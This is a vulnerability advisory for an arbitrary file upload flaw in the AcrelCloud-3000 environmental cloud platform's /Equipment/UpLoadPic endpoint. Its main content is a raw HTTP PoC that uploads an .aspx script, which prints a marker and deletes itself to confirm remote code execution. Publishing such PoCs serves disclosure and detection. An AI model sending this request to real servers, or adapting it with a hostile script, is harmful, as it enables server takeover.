安科瑞智能环保云平台 /Equipment/UpLoadPic 文件上传漏洞

2026-03-27 安科瑞智能环保云平台 PoC Public

Description

安科瑞智能环保云平台（AcrelCloud-3000）存在任意文件上传漏洞，该平台未对上传文件的类型、后缀名等进行有效校验与过滤，攻击者可通过平台 / Equipment/UpLoadPic 接口上传恶意脚本文件，上传成功后访问对应文件路径即可执行远程代码，进而控制整个服务器。

PoC

POST /Equipment/UpLoadPic HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8dc12234dcef
Content-Length: 320
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close
Accept-Encoding: gzip

------WebKitFormBoundary8dc12234dcef
Content-Disposition: form-data; name="file"; filename="Ec123272.aspx"
Content-Type: text/asp

<%@ Page Language="C#"%><%@ Import Namespace="System.IO"%><% Response.Write("7236c3ca");File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
------WebKitFormBoundary8dc12234dcef--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Acrel Intelligent Environmental Protection Cloud Platform /Equipment/UpLoadPic File Upload Vulnerability

References

Related Vulnerabilities